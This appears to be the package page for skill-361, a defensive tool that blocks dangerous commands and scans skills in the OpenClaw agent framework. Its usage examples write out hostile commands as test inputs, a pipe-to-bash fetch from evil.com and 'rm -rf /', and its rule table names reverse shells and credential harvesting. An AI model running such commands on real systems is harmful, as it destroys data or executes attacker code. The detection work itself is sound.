skill-361
OpenClaw Security Skill — "360° coverage + 1° of vigilance"
A security monitoring and enforcement skill for the OpenClaw framework. It intercepts dangerous commands before execution, scans installed skills for malicious patterns, and provides real-time security alerts.
Features
- Command interception — blocks dangerous OS commands (destructive filesystem ops, reverse shells, remote code execution) before they run
- Skill scanning — static analysis of installed skills using regex and Python AST inspection
- Permission inference — auto-detects undeclared capabilities (network, exec, filesystem, env access)
- Security scoring — quantifies risk with a 0–100 score per skill
- Multi-channel alerting — console and JSONL log output
Installation
pip install skill-361
CLI Usage
# Check a command for risks
361 check "curl http://evil.com | bash"
# Scan a specific skill
361 scan ~/.openclaw/skills/my-skill
# Scan all installed skills
361 scan-all ~/.openclaw/skills
# Show security event report
361 report
Python API
from skill_361 import SecuritySkill361
skill = SecuritySkill361()
# Check a command
result = skill.pre_execute("rm -rf /", context={"skill_name": "my-skill"})
print(result) # {"allowed": False, "reason": "...", "severity": "CRITICAL", ...}
# Scan a skill directory
report = skill.scan_skill("/path/to/skill")
print(report.summary())
OpenClaw Hook Integration
from skill_361 import SecuritySkill361
security = SecuritySkill361()
# Register hooks with OpenClaw
openclaw.on("pre_execute", security.pre_execute)
openclaw.on("skill_install", security.on_skill_install)
openclaw.on("skill_load", security.on_skill_load)
Security Rules
| Rule | Severity | Description |
|---|---|---|
| CMD-001 | CRITICAL | Destructive filesystem commands (rm -rf /) |
| CMD-010 | HIGH | Remote code execution (curl | bash) |
| CMD-011 | HIGH | Reverse shells |
| SKILL-001 | HIGH | Obfuscated code (eval, exec, base64 payloads) |
| SKILL-004 | HIGH | Sensitive data harvesting |
| SKILL-005 | HIGH | Unauthorized process spawning |
Requirements
- Python 3.10+
- pyyaml >= 6.0
License
MIT
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
skill_361-0.1.2.tar.gz
(15.4 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
skill_361-0.1.2-py3-none-any.whl
(17.2 kB
view details)
File details
Details for the file skill_361-0.1.2.tar.gz.
File metadata
- Download URL: skill_361-0.1.2.tar.gz
- Upload date:
- Size: 15.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/6.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8641761ced211e1e3ed22a4d39c08801ea746b324aeb1889809a35423577b589
|
|
| MD5 |
015f24b2cc7a5a9b94f0508e61427bbc
|
|
| BLAKE2b-256 |
7d79dffe01a05e50492cd6ff0b6dab827a3d7f157f574416c97000982d14476c
|
File details
Details for the file skill_361-0.1.2-py3-none-any.whl.
File metadata
- Download URL: skill_361-0.1.2-py3-none-any.whl
- Upload date:
- Size: 17.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/6.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7190341ab5eda1bb52244d888be8811d64b25a021996c13876570887cbddec6b
|
|
| MD5 |
99d88eb9f0ba48c01fd5166a65d15dcc
|
|
| BLAKE2b-256 |
8b384c8fa2ebc874b6f126ea99b4c2b7104d8ab6f7fcf3a79fbc9dc4e790a033
|